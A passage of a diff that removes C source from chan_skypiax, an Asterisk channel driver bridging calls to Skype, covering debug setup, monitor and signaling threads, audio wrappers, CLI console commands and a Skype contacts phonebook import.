-                       NOTICA("DEBUG_SKYPE activated. \n", SKYPIAX_TMP_LOG);
-               }
-       }
-
-       if (debug_call) {
-               skypiax_debug = skypiax_debug | DEBUG_CALL;
-               if (!option_debug) {
-                       WARNINGA
-                               ("DEBUG_CALL activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \"set debug 10\" or start Asterisk with \"-dddddddddd\" option for full DEBUG_CALL debugging output.\n",
-                                SKYPIAX_TMP_LOG);
-               } else {
-                       NOTICA("DEBUG_CALL activated. \n", SKYPIAX_TMP_LOG);
-               }
-       }
-
-       if (debug_locks) {
-               skypiax_debug = skypiax_debug | DEBUG_LOCKS;
-               if (!option_debug) {
-                       WARNINGA
-                               ("DEBUG_LOCKS activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \"set debug 10\" or start Asterisk with \"-dddddddddd\" option for full DEBUG_LOCKS debugging output.\n",
-                                SKYPIAX_TMP_LOG);
-               } else {
-                       NOTICA("DEBUG_LOCKS activated. \n", SKYPIAX_TMP_LOG);
-               }
-       }
-
-       if (debug_monitorlocks) {
-               skypiax_debug = skypiax_debug | DEBUG_MONITORLOCKS;
-               if (!option_debug) {
-                       WARNINGA
-                               ("DEBUG_MONITORLOCKS activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \"set debug 10\" or start Asterisk with \"-dddddddddd\" option for full DEBUG_MONITORLOCKS debugging output.\n",
-                                SKYPIAX_TMP_LOG);
-               } else {
-                       NOTICA("DEBUG_MONITORLOCKS activated. \n", SKYPIAX_TMP_LOG);
-               }
-       }
-
-       if (option_debug > 1) {
-               DEBUGA_SOUND("playback_boost is %f\n", SKYPIAX_TMP_LOG, tmp->playback_boost);
-               DEBUGA_SOUND("capture_boost is %f\n", SKYPIAX_TMP_LOG, tmp->capture_boost);
-       }
-/* initialize the soundcard channels (input and output) used by this interface (a multichannel soundcard can be used by multiple interfaces), optionally starting the sound managing threads */
-       res = skypiax_sound_init(tmp);
-       if (res == -1) {
-               ERRORA("Failed initializing sound device\n", SKYPIAX_TMP_LOG);
-               /* we failed, free the PVT */
-               free(tmp);
-               return NULL;
-       }
-       /*
-          res = pipe(tmp->SkypiaxHandles.fdesc);
-          if (res) {
-          ast_log(LOG_ERROR, "Unable to create skype pipe\n");
-          if (option_debug > 10) {
-          DEBUGA_PBX("EXITING FUNC\n", SKYPIAX_TMP_LOG);
-          }
-          free(tmp);
-          return NULL;
-          }
-          fcntl(tmp->SkypiaxHandles.fdesc[0], F_SETFL, O_NONBLOCK);
-          fcntl(tmp->SkypiaxHandles.fdesc[1], F_SETFL, O_NONBLOCK);
-        */
-       tmp->skype_thread = AST_PTHREADT_NULL;
-
-       if (tmp->skype) {
-               ast_log(LOG_DEBUG, "TO BE started skype_thread=%lu STOP=%lu NULL=%lu\n",
-                               (unsigned long) tmp->skype_thread, (unsigned long) AST_PTHREADT_STOP, (unsigned long) AST_PTHREADT_NULL);
-#ifdef __CYGWIN__
-               if (ast_pthread_create(&tmp->skype_thread, NULL, do_skypeapi_thread, tmp) < 0) {
-                       ast_log(LOG_ERROR, "Unable to start skype_main thread.\n");
-                       free(tmp);
-                       return NULL;
-               }
-#else /* __CYGWIN__ */
-#ifdef WANT_SKYPE_X11
-               ast_log(LOG_DEBUG, "AsteriskHandlesfd: %d\n", tmp->SkypiaxHandles.fdesc[1]);
-               if (ast_pthread_create(&tmp->skype_thread, NULL, do_skypeapi_thread, tmp) < 0) {
-                       ast_log(LOG_ERROR, "Unable to start skype_main thread.\n");
-                       free(tmp);
-                       return NULL;
-               }
-#endif /* WANT_SKYPE_X11 */
-#endif /* __CYGWIN__ */
-               usleep(100000);                 //0.1 sec
-               if (tmp->skype_thread == AST_PTHREADT_NULL) {
-                       ast_log(LOG_ERROR, "Unable to start skype_main thread.\n");
-                       free(tmp);
-                       return NULL;
-               }
-               ast_log(LOG_DEBUG, "STARTED skype_thread=%lu STOP=%lu NULL=%lu\n",
-                               (unsigned long) tmp->skype_thread, (unsigned long) AST_PTHREADT_STOP, (unsigned long) AST_PTHREADT_NULL);
-       }
-#if 0
-       if (tmp->skype) {
-#if 0
-               if (option_debug > 1)
-                       ast_log(LOG_DEBUG, "TO BE started skype_thread=%lu STOP=%lu NULL=%lu\n",
-                                       (unsigned long) tmp->skype_thread, (unsigned long) AST_PTHREADT_STOP, (unsigned long) AST_PTHREADT_NULL);
-#endif
-#ifdef __CYGWIN__
-               if (ast_pthread_create(&tmp->skype_thread, NULL, do_skypeapi_thread, &tmp->SkypiaxHandles) < 0) {
-                       ast_log(LOG_ERROR, "Unable to start skype_main thread.\n");
-                       if (option_debug > 10) {
-                               DEBUGA_PBX("EXITING FUNC\n", SKYPIAX_TMP_LOG);
-                       }
-                       free(tmp);
-                       return NULL;
-               }
-#else /* __CYGWIN__ */
-#ifdef WANT_SKYPE_X11
-               if (ast_pthread_create(&tmp->signaling_thread, NULL, do_signaling_thread_fnc, tmp) < 0) {
-                       ast_log(LOG_ERROR, "Unable to start skype_main thread.\n");
-                       if (option_debug > 10) {
-                               DEBUGA_PBX("EXITING FUNC\n", SKYPIAX_TMP_LOG);
-                       }
-                       free(tmp);
-                       return NULL;
-               }
-#endif /* WANT_SKYPE_X11 */
-#endif /* __CYGWIN__ */
-               usleep(100000);                 //0.1 sec
-               if (tmp->skype_thread == AST_PTHREADT_NULL) {
-                       ast_log(LOG_ERROR, "Unable to start skype_main thread.\n");
-                       if (option_debug > 10) {
-                               DEBUGA_PBX("EXITING FUNC\n", SKYPIAX_TMP_LOG);
-                       }
-                       free(tmp);
-                       return NULL;
-               }
-               if (option_debug > 1)
-                       ast_log(LOG_DEBUG, "STARTED signaling_thread=%lu STOP=%lu NULL=%lu\n",
-                                       (unsigned long) tmp->signaling_thread, (unsigned long) AST_PTHREADT_STOP, (unsigned long) AST_PTHREADT_NULL);
-       }
-#endif
-
-       /* return the newly created skypiax_pvt */
-       return tmp;
-}
-
-/*! \brief (Re)Start the module main monitor thread, watching for incoming calls on the interfaces */
-int skypiax_restart_monitor(void)
-{
-       static struct skypiax_pvt *p = &skypiax_log_struct;
-
-       /* If we're supposed to be stopped -- stay stopped */
-       if (skypiax_monitor_thread == AST_PTHREADT_STOP) {
-               return 0;
-       }
-       LOKKA(&skypiax_monlock);
-       /* Do not seems possible to me that this function can be called by the very same monitor thread, but let's be paranoid */
-       if (skypiax_monitor_thread == pthread_self()) {
-               UNLOCKA(&skypiax_monlock);
-               ERRORA("Cannot kill myself\n", SKYPIAX_P_LOG);
-               return -1;
-       }
-       /* if the monitor thread exists */
-       if (skypiax_monitor_thread != AST_PTHREADT_NULL) {
-               /* Wake up the thread, it can be stuck waiting in a select or so */
-               pthread_kill(skypiax_monitor_thread, SIGURG);
-       } else {
-               /* the monitor thread does not exists, start a new monitor */
-               if (ast_pthread_create(&skypiax_monitor_thread, NULL, skypiax_do_monitor, NULL) < 0) {
-                       UNLOCKA(&skypiax_monlock);
-                       ERRORA("Unable to start monitor thread.\n", SKYPIAX_P_LOG);
-                       return -1;
-               }
-       }
-       UNLOCKA(&skypiax_monlock);
-       return 0;
-}
-
-/*! \brief The skypiax monitoring thread 
- * \note   This thread monitors all the skypiax interfaces that are not in a call
- *         (and thus do not have a separate thread) indefinitely 
- *         */
-void *skypiax_do_monitor(void *data)
-{
-       fd_set rfds;
-       int res;
-       struct skypiax_pvt *p = NULL;
-       int max = -1;
-       struct timeval to;
-       time_t now_timestamp;
-
-       if (pthread_setcanceltype(PTHREAD_CANCEL_DEFERRED, NULL)) {
-               ERRORA("Unable to set cancel type to deferred\n", SKYPIAX_P_LOG);
-               return NULL;
-       }
-
-       for (;;) {
-               pthread_testcancel();
-               /* Don't let anybody kill us right away.  Nobody should lock the interface list
-                  and wait for the monitor list, but the other way around is okay. */
-               PUSHA_UNLOCKA(&skypiax_monlock);
-               MONITORLOKKA(&skypiax_monlock);
-               /* Lock the interface list */
-               PUSHA_UNLOCKA(&skypiax_iflock);
-               MONITORLOKKA(&skypiax_iflock);
-               /* Build the stuff we're going to select on, that is the skypiax_serial_fd of every
-                  skypiax_pvt that does not have an associated owner channel. In the case of FBUS2 3310
-                  and in the case of PROTOCOL_NO_SERIAL we add the audio_fd as well, because there is not serial signaling of incoming calls */
-               FD_ZERO(&rfds);
-
-               time(&now_timestamp);
-               p = skypiax_iflist;
-               while (p) {
-                       if (!p->owner) {
-                               /* This interface needs to be watched, as it lacks an owner */
-
-                               if (p->skype) {
-                                       if (FD_ISSET(p->SkypiaxHandles.fdesc[0], &rfds))
-                                               ERRORA("Descriptor %d (SkypiaxHandles.fdesc[0]) appears twice ?\n", SKYPIAX_P_LOG, p->SkypiaxHandles.fdesc[0]);
-
-                                       if (p->SkypiaxHandles.fdesc[0] > 0) {
-                                               FD_SET(p->SkypiaxHandles.fdesc[0], &rfds);
-                                               if (p->SkypiaxHandles.fdesc[0] > max)
-                                                       max = p->SkypiaxHandles.fdesc[0];
-
-                                       }
-                               }
-
-                       }
-                       /* next interface, please */
-                       p = p->next;
-               }
-               /* Okay, now that we know what to do, release the interface lock */
-               MONITORUNLOCKA(&skypiax_iflock);
-               POPPA_UNLOCKA(&skypiax_iflock);
-               /* And from now on, we're okay to be killed, so release the monitor lock as well */
-               MONITORUNLOCKA(&skypiax_monlock);
-               POPPA_UNLOCKA(&skypiax_monlock);
-
-               /* you want me to die? */
-               pthread_testcancel();
-
-               /* Wait for something to happen */
-               to.tv_sec = 0;
-               to.tv_usec = 500000;    /* we select with this timeout because under cygwin we avoid the signal usage, so there is no way to end the thread if it is stuck waiting for select */
-               res = ast_select(max + 1, &rfds, NULL, NULL, &to);
-
-               /* you want me to die? */
-               pthread_testcancel();
-
-               /* Okay, select has finished.  Let's see what happened.  */
-
-               /* If there are errors...  */
-               if (res < 0) {
-                       if (errno == EINTR)     /* EINTR is just the select 
-                                                                  being interrupted by a SIGURG, or so */
-                               continue;
-                       else {
-                               ERRORA("select returned %d: %s\n", SKYPIAX_P_LOG, res, strerror(errno));
-                               return NULL;
-                       }
-               }
-
-               /* must not be killed while skypiax_iflist is locked */
-               PUSHA_UNLOCKA(&skypiax_monlock);
-               MONITORLOKKA(&skypiax_monlock);
-               /* Alright, lock the interface list again, and let's look and see what has
-                  happened */
-               PUSHA_UNLOCKA(&skypiax_iflock);
-               MONITORLOKKA(&skypiax_iflock);
-
-               p = skypiax_iflist;
-               for (; p; p = p->next) {
-
-                       if (p->skype) {
-                               if (FD_ISSET(p->SkypiaxHandles.fdesc[0], &rfds)) {
-                                       res = skypiax_signaling_read(p);
-                                       if (res == CALLFLOW_INCOMING_CALLID || res == CALLFLOW_INCOMING_RING) {
-                                               //ast_log(LOG_NOTICE, "CALLFLOW_INCOMING_RING SKYPE\n");
-                                               DEBUGA_SKYPE("CALLFLOW_INCOMING_RING\n", SKYPIAX_P_LOG);
-                                               skypiax_new(p, SKYPIAX_STATE_RING, p->context /* p->context */ );
-                                       }
-                               }
-                       }
-
-               }
-               MONITORUNLOCKA(&skypiax_iflock);
-               POPPA_UNLOCKA(&skypiax_iflock);
-               MONITORUNLOCKA(&skypiax_monlock);
-               POPPA_UNLOCKA(&skypiax_monlock);
-               pthread_testcancel();
-       }
-/* Never reached */
-       return NULL;
-
-}
-
-/*!
- * \brief Initialize the soundcard channels (input and output) used by one interface (a multichannel soundcard can be used by multiple interfaces) 
- * \param p the skypiax_pvt of the interface
- *
- * This function initialize the soundcard channels (input and output) used by one interface (a multichannel soundcard can be used by multiple interfaces). It simply pass its parameters to the right function for the sound system for which has been compiled, eg. alsa_init for ALSA, oss_init for OSS, winmm_init for Windows Multimedia, etc and return the result 
- *
- * \return zero on success, -1 on error.
- */
-
-int skypiax_sound_init(struct skypiax_pvt *p)
-{
-       return skypiax_audio_init(p);
-}
-
-/*!
- * \brief Shutdown the soundcard channels (input and output) used by one interface (a multichannel soundcard can be used by multiple interfaces) 
- * \param p the skypiax_pvt of the interface
- *
- * This function shutdown the soundcard channels (input and output) used by one interface (a multichannel soundcard can be used by multiple interfaces). It simply pass its parameters to the right function for the sound system for which has been compiled, eg. alsa_shutdown for ALSA, oss_shutdown for OSS, winmm_shutdown for Windows Multimedia, etc and return the result
- *
- * \return zero on success, -1 on error.
- */
-
-int skypiax_sound_shutdown(struct skypiax_pvt *p)
-{
-
-       //return skypiax_portaudio_shutdown(p);
-
-       return -1;
-}
-
-/*! \brief Read audio frames from interface */
-struct ast_frame *skypiax_sound_read(struct skypiax_pvt *p)
-{
-       struct ast_frame *f = NULL;
-       int res;
-
-       res = skypiax_audio_read(p);
-       f = &p->read_frame;
-       return f;
-}
-
-/*! \brief Send audio frame to interface */
-int skypiax_sound_write(struct skypiax_pvt *p, struct ast_frame *f)
-{
-       int ret = -1;
-
-       ret = skypiax_audio_write(p, f);
-       return ret;
-}
-
-/*!
- * \brief This thread runs during a call, and monitor the interface serial port for signaling, like hangup, caller id, etc
- *
- */
-void *skypiax_do_controldev_thread(void *data)
-{
-       struct skypiax_pvt *p = data;
-       int res;
-
-       DEBUGA_SERIAL("In skypiax_do_controldev_thread: started, p=%p\n", SKYPIAX_P_LOG, p);
-
-       if (pthread_setcanceltype(PTHREAD_CANCEL_DEFERRED, NULL)) {
-               ERRORA("Unable to set cancel type to deferred\n", SKYPIAX_P_LOG);
-               return NULL;
-       }
-
-       while (1) {
-               usleep(1000);
-               pthread_testcancel();
-               if (p->skype) {
-                       res = skypiax_signaling_read(p);
-                       if (res == CALLFLOW_INCOMING_HANGUP) {
-                               DEBUGA_SKYPE("skype call ended\n", SKYPIAX_P_LOG);
-                               if (p->owner) {
-                                       pthread_testcancel();
-                                       ast_queue_control(p->owner, AST_CONTROL_HANGUP);
-                               }
-                       }
-               }
-       }
-
-       return NULL;
-
-}
-
-/************************************************/
-
-/* LUIGI RIZZO's magic */
-/*
- * store the boost factor
- */
-#ifdef ASTERISK_VERSION_1_6
-void skypiax_store_boost(const char *s, double *boost)
-#else
-void skypiax_store_boost(char *s, double *boost)
-#endif                                                 /* ASTERISK_VERSION_1_6 */
-{
-       struct skypiax_pvt *p = NULL;
-
-       if (sscanf(s, "%lf", boost) != 1) {
-               ERRORA("invalid boost <%s>\n", SKYPIAX_P_LOG, s);
-               return;
-       }
-       if (*boost < -BOOST_MAX) {
-               WARNINGA("boost %s too small, using %d\n", SKYPIAX_P_LOG, s, -BOOST_MAX);
-               *boost = -BOOST_MAX;
-       } else if (*boost > BOOST_MAX) {
-               WARNINGA("boost %s too large, using %d\n", SKYPIAX_P_LOG, s, BOOST_MAX);
-               *boost = BOOST_MAX;
-       }
-       *boost = exp(log(10) * *boost / 20) * BOOST_SCALE;
-       DEBUGA_SOUND("setting boost %s to %f\n", SKYPIAX_P_LOG, s, *boost);
-}
-
-/*
- * returns a pointer to the descriptor with the given name
- */
-struct skypiax_pvt *skypiax_console_find_desc(char *dev)
-{
-       struct skypiax_pvt *p = NULL;
-
-       for (p = skypiax_iflist; p && strcmp(p->name, dev) != 0; p = p->next);
-       if (p == NULL)
-               WARNINGA("could not find <%s>\n", SKYPIAX_P_LOG, dev);
-
-       return p;
-}
-int skypiax_console_playback_boost(int fd, int argc, char *argv[])
-{
-       struct skypiax_pvt *p = skypiax_console_find_desc(skypiax_console_active);
-
-       if (argc > 2) {
-               return RESULT_SHOWUSAGE;
-       }
-       if (!p) {
-               ast_cli(fd, "No \"current\" skypiax_console for playback_boost, please enter 'help skypiax_console'\n");
-               return RESULT_SUCCESS;
-       }
-
-       if (argc == 1) {
-               ast_cli(fd, "playback_boost on the active skypiax_console, that is [%s], is: %5.1f\n",
-                               skypiax_console_active, 20 * log10(((double) p->playback_boost / (double) BOOST_SCALE)));
-       } else if (argc == 2) {
-               skypiax_store_boost(argv[1], &p->playback_boost);
-
-               ast_cli(fd,
-                               "playback_boost on the active skypiax_console, that is [%s], is now: %5.1f\n",
-                               skypiax_console_active, 20 * log10(((double) p->playback_boost / (double) BOOST_SCALE)));
-       }
-
-       return RESULT_SUCCESS;
-}
-int skypiax_console_capture_boost(int fd, int argc, char *argv[])
-{
-       struct skypiax_pvt *p = skypiax_console_find_desc(skypiax_console_active);
-
-       if (argc > 2) {
-               return RESULT_SHOWUSAGE;
-       }
-       if (!p) {
-               ast_cli(fd, "No \"current\" skypiax_console for capture_boost, please enter 'help skypiax_console'\n");
-               return RESULT_SUCCESS;
-       }
-
-       if (argc == 1) {
-               ast_cli(fd, "capture_boost on the active skypiax_console, that is [%s], is: %5.1f\n",
-                               skypiax_console_active, 20 * log10(((double) p->capture_boost / (double) BOOST_SCALE)));
-       } else if (argc == 2) {
-               skypiax_store_boost(argv[1], &p->capture_boost);
-
-               ast_cli(fd,
-                               "capture_boost on the active skypiax_console, that is [%s], is now: %5.1f\n",
-                               skypiax_console_active, 20 * log10(((double) p->capture_boost / (double) BOOST_SCALE)));
-       }
-
-       return RESULT_SUCCESS;
-}
-
-int skypiax_console_hangup(int fd, int argc, char *argv[])
-{
-       struct skypiax_pvt *p = skypiax_console_find_desc(skypiax_console_active);
-
-       if (argc != 1) {
-               return RESULT_SHOWUSAGE;
-       }
-       if (!p) {
-               ast_cli(fd, "No \"current\" skypiax_console for hanging up, please enter 'help skypiax_console'\n");
-               return RESULT_SUCCESS;
-       }
-       if (!p->owner) {
-               ast_cli(fd, "No call to hangup on the active skypiax_console, that is [%s]\n", skypiax_console_active);
-               return RESULT_FAILURE;
-       }
-       if (p->owner)
-               ast_queue_hangup(p->owner);
-       return RESULT_SUCCESS;
-}
-
-int skypiax_console_dial(int fd, int argc, char *argv[])
-{
-       char *s = NULL;
-       struct skypiax_pvt *p = skypiax_console_find_desc(skypiax_console_active);
-
-       if (argc != 2) {
-               return RESULT_SHOWUSAGE;
-       }
-       if (!p) {
-               ast_cli(fd, "No \"current\" skypiax_console for dialing, please enter 'help skypiax_console'\n");
-               return RESULT_SUCCESS;
-       }
-
-       if (p->owner) {                         /* already in a call */
-               int i;
-               struct ast_frame f = { AST_FRAME_DTMF, 0 };
-
-               s = argv[1];
-               /* send the string one char at a time */
-               for (i = 0; i < strlen(s); i++) {
-                       f.subclass = s[i];
-                       ast_queue_frame(p->owner, &f);
-               }
-               return RESULT_SUCCESS;
-       } else
-               ast_cli(fd, "No call in which to dial on the \"current\" skypiax_console, that is [%s]\n", skypiax_console_active);
-       if (s)
-               free(s);
-       return RESULT_SUCCESS;
-}
-int skypiax_console_set_active(int fd, int argc, char *argv[])
-{
-       if (argc == 1)
-               ast_cli(fd,
-                               "\"current\" skypiax_console is [%s]\n    Enter 'skypiax_console show' to see the available interfaces.\n    Enter 'skypiax_console interfacename' to change the \"current\" skypiax_console.\n",
-                               skypiax_console_active);
-       else if (argc != 2) {
-               return RESULT_SHOWUSAGE;
-       } else {
-               struct skypiax_pvt *p;
-               if (strcmp(argv[1], "show") == 0) {
-                       ast_cli(fd, "Available interfaces:\n");
-                       for (p = skypiax_iflist; p; p = p->next)
-                               ast_cli(fd, "     [%s]\n", p->name);
-                       return RESULT_SUCCESS;
-               }
-               p = skypiax_console_find_desc(argv[1]);
-               if (p == NULL)
-                       ast_cli(fd, "Interface [%s] do not exists!\n", argv[1]);
-               else {
-                       skypiax_console_active = p->name;
-                       ast_cli(fd, "\"current\" skypiax_console is now: [%s]\n", argv[1]);
-               }
-       }
-       return RESULT_SUCCESS;
-}
-
-int skypiax_console_skypiax(int fd, int argc, char *argv[])
-{
-       return RESULT_SHOWUSAGE;
-}
-
-void *do_skypeapi_thread(void *obj)
-{
-       return skypiax_do_skypeapi_thread_func(obj);
-}
-
-int dtmf_received(private_t * p, char *value)
-{
-
-       struct ast_frame f2 = { AST_FRAME_DTMF, value[0], };
-       DEBUGA_SKYPE("Received DTMF: %s\n", SKYPIAX_P_LOG, value);
-       ast_queue_frame(p->owner, &f2);
-
-       return 0;
-
-}
-
-int start_audio_threads(private_t * p)
-{
-       //if (!p->tcp_srv_thread) {
-       if (ast_pthread_create(&p->tcp_srv_thread, NULL, skypiax_do_tcp_srv_thread, p) < 0) {
-               ERRORA("Unable to start tcp_srv_thread thread.\n", SKYPIAX_P_LOG);
-               return -1;
-       } else {
-               DEBUGA_SKYPE("started tcp_srv_thread thread.\n", SKYPIAX_P_LOG);
-       }
-       //}
-       //if (!p->tcp_cli_thread) {
-       if (ast_pthread_create(&p->tcp_cli_thread, NULL, skypiax_do_tcp_cli_thread, p) < 0) {
-               ERRORA("Unable to start tcp_cli_thread thread.\n", SKYPIAX_P_LOG);
-               return -1;
-       } else {
-               DEBUGA_SKYPE("started tcp_cli_thread thread.\n", SKYPIAX_P_LOG);
-       }
-       //}
-
-#ifdef NOTDEF
-       switch_threadattr_t *thd_attr = NULL;
-
-       switch_threadattr_create(&thd_attr, skypiax_module_pool);
-       switch_threadattr_detach_set(thd_attr, 1);
-       switch_threadattr_stacksize_set(thd_attr, SWITCH_THREAD_STACKSIZE);
-       switch_thread_create(&tech_pvt->tcp_srv_thread, thd_attr, skypiax_do_tcp_srv_thread, tech_pvt, skypiax_module_pool);
-       DEBUGA_SKYPE("started tcp_srv_thread thread.\n", SKYPIAX_P_LOG);
-
-       switch_threadattr_create(&thd_attr, skypiax_module_pool);
-       switch_threadattr_detach_set(thd_attr, 1);
-       switch_threadattr_stacksize_set(thd_attr, SWITCH_THREAD_STACKSIZE);
-       switch_thread_create(&tech_pvt->tcp_cli_thread, thd_attr, skypiax_do_tcp_cli_thread, tech_pvt, skypiax_module_pool);
-       DEBUGA_SKYPE("started tcp_cli_thread thread.\n", SKYPIAX_P_LOG);
-       switch_sleep(100000);
-
-#endif
-
-       return 0;
-}
-
-int new_inbound_channel(private_t * p)
-{
-
-#ifdef NOTDEF
-       switch_core_session_t *session = NULL;
-       switch_channel_t *channel = NULL;
-
-       if ((session = switch_core_session_request(skypiax_endpoint_interface, SWITCH_CALL_DIRECTION_INBOUND, NULL)) != 0) {
-               switch_core_session_add_stream(session, NULL);
-               channel = switch_core_session_get_channel(session);
-               skypiax_tech_init(tech_pvt, session);
-
-               if ((tech_pvt->caller_profile =
-                        switch_caller_profile_new(switch_core_session_get_pool(session), "skypiax",
-                                                                          tech_pvt->dialplan, tech_pvt->callid_name,
-                                                                          tech_pvt->callid_number, NULL, NULL, NULL, NULL, "mod_skypiax", tech_pvt->context, tech_pvt->destination)) != 0) {
-                       char name[128];
-                       //switch_snprintf(name, sizeof(name), "skypiax/%s/%s", tech_pvt->name, tech_pvt->caller_profile->destination_number);
-                       switch_snprintf(name, sizeof(name), "skypiax/%s", tech_pvt->name);
-                       switch_channel_set_name(channel, name);
-                       switch_channel_set_caller_profile(channel, tech_pvt->caller_profile);
-               }
-               switch_channel_set_state(channel, CS_INIT);
-               if (switch_core_session_thread_launch(session) != SWITCH_STATUS_SUCCESS) {
-                       ERRORA("Error spawning thread\n", SKYPIAX_P_LOG);
-                       switch_core_session_destroy(&session);
-               }
-       }
-       switch_channel_mark_answered(channel);
-
-#endif
-       return 0;
-}
-
-int remote_party_is_ringing(private_t * p)
-{
-       if (p->owner) {
-               ast_queue_control(p->owner, AST_CONTROL_RINGING);
-       }
-
-       return 0;
-}
-
-int remote_party_is_early_media(private_t * p)
-{
-       if (p->owner) {
-               ast_queue_control(p->owner, AST_CONTROL_RINGING);
-       }
-
-       return 0;
-}
-
-int outbound_channel_answered(private_t * p)
-{
-
-       if (p->owner) {
-               ast_queue_control(p->owner, AST_CONTROL_ANSWER);
-       }
-
-       return 0;
-}
-void *skypiax_do_tcp_srv_thread(void *obj)
-{
-       return skypiax_do_tcp_srv_thread_func(obj);
-}
-void *skypiax_do_tcp_cli_thread(void *obj)
-{
-       return skypiax_do_tcp_cli_thread_func(obj);
-}
-
-int skypiax_audio_write(struct skypiax_pvt *p, struct ast_frame *f)
-{
-       int sent;
-
-       sent = write(p->audioskypepipe[1], (short *) f->data, f->datalen);
-
-       return 0;
-}
-int skypiax_console_skype(int fd, int argc, char *argv[])
-{
-       struct skypiax_pvt *p = skypiax_console_find_desc(skypiax_console_active);
-       char skype_msg[1024];
-       int i, a, c;
-
-       if (argc == 1) {
-               return RESULT_SHOWUSAGE;
-       }
-       if (!p) {
-               ast_cli(fd, "No \"current\" console for skypiax_, please enter 'help console'\n");
-               return RESULT_SUCCESS;
-       }
-       if (!p->skype) {
-               ast_cli(fd, "The \"current\" console is not connected to a Skype client'\n");
-               return RESULT_SUCCESS;
-       }
-
-       memset(skype_msg, 0, sizeof(skype_msg));
-       c = 0;
-       for (i = 1; i < argc; i++) {
-               for (a = 0; a < strlen(argv[i]); a++) {
-                       skype_msg[c] = argv[i][a];
-                       c++;
-                       if (c == 1022)
-                               break;
-               }
-               if (i != argc - 1) {
-                       skype_msg[c] = ' ';
-                       c++;
-               }
-               if (c == 1023)
-                       break;
-       }
-       skypiax_signaling_write(p, skype_msg);
-       return RESULT_SUCCESS;
-}
-
-int skypiax_console_skypiax_dir_import(int fd, int argc, char *argv[])
-{
-       //int res;
-       struct skypiax_pvt *p = skypiax_console_find_desc(skypiax_console_active);
-       //char list_command[64];
-       char fn[256];
-       char date[256] = "";
-       time_t t;
-       char *configfile = SKYPIAX_DIR_CONFIG;
-       int add_to_skypiax_dir_conf = 1;
-       //int fromskype = 0;
-       //int fromcell = 0;
-
-#if 0
-       if (directoriax_entry_extension) {
-               skypiax_dir_entry_extension = directoriax_entry_extension;
-       } else {
-               ast_cli(fd, "No 'directoriax_entry_extension', you MUST have loaded directoriax.so\n");
-               return RESULT_SUCCESS;
-       }
-#endif
-
-       if (argc != 2)
-               return RESULT_SHOWUSAGE;
-       if (!p) {
-               ast_cli(fd, "No \"current\" console ???, please enter 'help skypiax_console'\n");
-               return RESULT_SUCCESS;
-       }
-
-       if (!strcasecmp(argv[1], "add"))
-               add_to_skypiax_dir_conf = 1;
-       else if (!strcasecmp(argv[1], "replace"))
-               add_to_skypiax_dir_conf = 0;
-       else {
-               ast_cli(fd, "\n\nYou have neither specified 'add' nor 'replace'\n\n");
-               return RESULT_SHOWUSAGE;
-       }
-
-#if 0
-       if (!strcasecmp(argv[2], "fromskype"))
-               fromskype = 1;
-       else if (!strcasecmp(argv[2], "fromcell"))
-               fromcell = 1;
-       else {
-               ast_cli(fd, "\n\nYou have neither specified 'fromskype' nor 'fromcell'\n\n");
-               return RESULT_SHOWUSAGE;
-       }
-
-       if (fromcell) {
-               ast_cli(fd, "Importing from cellphone is currently supported only on \"AT\" cellphones :( !\n");
-               //fclose(p->phonebook_writing_fp);
-               //skypiax_dir_create_extensions();
-               return RESULT_SUCCESS;
-       }
-
-       if (fromskype)
-               if (!p->skype) {
-                       ast_cli(fd, "Importing from skype is supported by skypiax_dir on chan_skypiax!\n");
-                       //fclose(p->phonebook_writing_fp);
-                       //skypiax_dir_create_extensions();
-                       return RESULT_SUCCESS;
-               }
-
-       if (fromcell || fromskype)
-               if (argc != 3) {
-                       ast_cli(fd, "\n\nYou don't have to specify a filename with 'fromcell' or with 'fromskype'\n\n");
-                       return RESULT_SHOWUSAGE;
-               }
-#endif
-
-  /*******************************************************************************************/
-
-       if (configfile[0] == '/') {
-               ast_copy_string(fn, configfile, sizeof(fn));
-       } else {
-               snprintf(fn, sizeof(fn), "%s/%s", ast_config_AST_CONFIG_DIR, configfile);
-       }
-       NOTICA("Opening '%s'\n", SKYPIAX_P_LOG, fn);
-       time(&t);
-       ast_copy_string(date, ctime(&t), sizeof(date));
-
-       if (add_to_skypiax_dir_conf)
-               p->phonebook_writing_fp = fopen(fn, "a+");
-       else
-               p->phonebook_writing_fp = fopen(fn, "w+");
-
-       if (p->phonebook_writing_fp) {
-               if (add_to_skypiax_dir_conf) {
-                       NOTICA("Opened '%s' for appending \n", SKYPIAX_P_LOG, fn);
-                       fprintf(p->phonebook_writing_fp, ";!\n");
-                       fprintf(p->phonebook_writing_fp, ";! Update Date: %s", date);
-                       fprintf(p->phonebook_writing_fp, ";! Updated by: %s, %d\n", __FILE__, __LINE__);
-                       fprintf(p->phonebook_writing_fp, ";!\n");
-               } else {
-                       NOTICA("Opened '%s' for writing \n", SKYPIAX_P_LOG, fn);
-                       fprintf(p->phonebook_writing_fp, ";!\n");
-                       fprintf(p->phonebook_writing_fp, ";! Automatically generated configuration file\n");
-                       fprintf(p->phonebook_writing_fp, ";! Filename: %s (%s)\n", configfile, fn);
-                       fprintf(p->phonebook_writing_fp, ";! Creation Date: %s", date);
-                       fprintf(p->phonebook_writing_fp, ";! Generated by: %s, %d\n", __FILE__, __LINE__);
-                       fprintf(p->phonebook_writing_fp, ";!\n");
-                       fprintf(p->phonebook_writing_fp, "[general]\n\n");
-                       fprintf(p->phonebook_writing_fp, "[default]\n");
-               }
-
-  /*******************************************************************************************/
-               //if (fromskype) {
-               if (p->skype) {
-                       WARNINGA("About to querying the Skype client 'Contacts', it may take some moments... Don't worry.\n", SKYPIAX_P_LOG);
-                       if (p->skype_thread != AST_PTHREADT_NULL) {
-                               char msg_to_skype[1024];
-
-                               p->skype_friends[0] = '\0';
-                               sprintf(msg_to_skype, "#333 SEARCH FRIENDS");
-                               if (skypiax_signaling_write(p, msg_to_skype) < 0) {
-                                       return -1;
-                               }
-
-                               int friends_count = 0;
-                               while (p->skype_friends[0] == '\0') {
-                                       /* FIXME needs a timeout, can't wait forever! 
-                                        * eg. when skype is running but not connected! */
-                                       usleep(100);
-                                       friends_count++;
-                                       if (friends_count > 20000) {
-                                               return -1;      /* FIXME */
-                                       }
-                               }
-
-                       }
-
-                       if (p->skype_thread != AST_PTHREADT_NULL) {
-                               char msg_to_skype[1024];
-
-                               if (p->skype_friends[0] != '\0') {
-                                       char *buf, *where;
-                                       char **stringp;
-                                       int skype_dir_file_written = 0;
-
-                                       buf = p->skype_friends;
